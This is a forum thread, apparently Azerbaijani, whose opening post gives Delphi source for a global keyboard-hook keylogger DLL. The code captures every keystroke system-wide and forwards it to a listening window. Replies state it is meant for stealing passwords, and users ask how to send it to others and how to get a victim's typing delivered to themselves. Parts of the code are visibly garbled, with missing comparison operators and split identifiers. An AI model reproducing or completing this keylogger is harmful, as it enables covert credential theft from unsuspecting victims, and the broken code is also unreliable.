Keylogger kodu

[Ʌüsal]

library KBHook;

 

uses

 

Windows,

 

Messages;

 

type

 

PHWND = ^HWND;

 

const

 

WM_KEYBOARD_HOOK = WM_USER + 52012;

 

var

 

hHook: LongWord = 0;

 

Key: Word;

 

KeyboardLayout: HKL;

 

GetShiftKeys: Boolean;

 

hWndBuffer: PHWND;

 

hMMF: THandle;

 

function KeyboardProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall;

 

var

 

LastKey: Char;

 

KeyState: TKeyboardState;

 

begin

 

Result:=CallNextHookEx(hHook,nCode,wParam,lParam);

 

if nCode0 then

 

Key:=Ord(LastKey)

 

else

 

Key:=wParam;

 

if (lParam and $80000000)=0 then

 

if not (wParam in [16,17,18]) or GetShiftKeys then

 

PostMessage(hwndBuffer^,WM_KEYBOARD_HOOK,Key,GetAc tiveWindow);

 

end;

 

end;

 

function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall;

 

var

 

bHWND: PHWND;

 

begin

 

hMMF:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRI TE or SEC_COMMIT,0,SizeOf(hWnd),'((¯¨¤»TuRKi$H_CoDeR«¤¨¯ ))KeyboardHookHandle');

 

bHWND:=MapViewOfFile(hMMF,FILE_MAP_WRITE,0,0,SizeO f(HWND));

 

bHWND^:=hWnd;

 

UnmapViewOfFile(bHWND);

 

GetMem(hWndBuffer,SizeOf(HWND));

 

hWndBuffer^:=hWnd;

 

GetShiftKeys:=ShiftKeys;

 

if hHook=0 then

 

hHook:=SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc, hInstance,0);

 

Result:=hHook0;

 

end;

 

function DeleteHook: Boolean; stdcall;

 

begin

 

FreeMem(hWndBuffer);

 

CloseHandle(hMMF);

 

Result:=UnhookWindowsHookEx(hHook);

 

hHook:=0;

 

end;

 

exports

 

CreateHook,

 

DeleteHook;

 

var

 

MMF: THandle;

 

begin

 

MMF:=OpenFileMapping(FILE_MAP_READ,false,'((¯¨¤»Bura ne isyərisiz yazın«¤¨¯))KeyboardHookHandle');

 

if MMF0 then begin

 

hWndBuffer:=MapViewOfFile(MMF,FILE_MAP_READ,0,0,Si zeOf(HWND));

 

CloseHandle(MMF);

 

end;

 

end.

 

[saka-muka]

bu neyin kodudiki? ne ise yariyir?

[Guest kenan]

saka-muka ,

Keylogger kodu, (Delphi 7 üçün) bu yazını oxumamısan deyəsən.Adında yazılıb ki, Delphi dili üçündür.

[Ʌüsal]

bu spoinski parol ogramaq ucun bir keylogger kodudur.

[Huseyn.]

Vusal spoinski nedi ..?? Bildim ki keylogerdi ama deqiq iw pirinsipi nedi .?? Yeni nece iwdiyir kimese gondersem onu o acanda onun kodlari hara gedecey..?? Yoxsa onu oz kompuma qowmaliyam ..? Bir az deqiq yaza bilersen ...??

[Ʌüsal]

bu bir az sade keyloggerdir.

klavyaturada yazani keylogger yaddasda saxlair.

[Huseyn.]

Bes perezaqrusqadan sonra silinmir yadda qalir...?????????/

[Ʌüsal]

programi yiganda onu nezere almalisan ozun.

ele keyloggerler olurki basqasina godnerirsen senin C disqine zapis edir onun yazdiqlarini

[Huseyn.]

Indi bu necedi perezaqrusqadan sanra silinir fayillar...?

Bir de sen didiyin kimi koyloger kodu varsa vere bilersen ...??

[Ʌüsal]

bunu hec yoxlamaisam

yo elesi yoxdu helekigorekde heleki maraqlairam gorum bir sey ortya cixarda bilecem

[saka-muka]

mene bunun kimi bir sey duzeldemey lazimdi basqasi bura ne yazssa yazdigi sene gelir bunu devel studyoda eliyibler, bilen var?

[===]

saka-muka,

Php Devel Studio Fake

[Student]

Bes yaxsi bunu hara yazmaliyiq?Butona???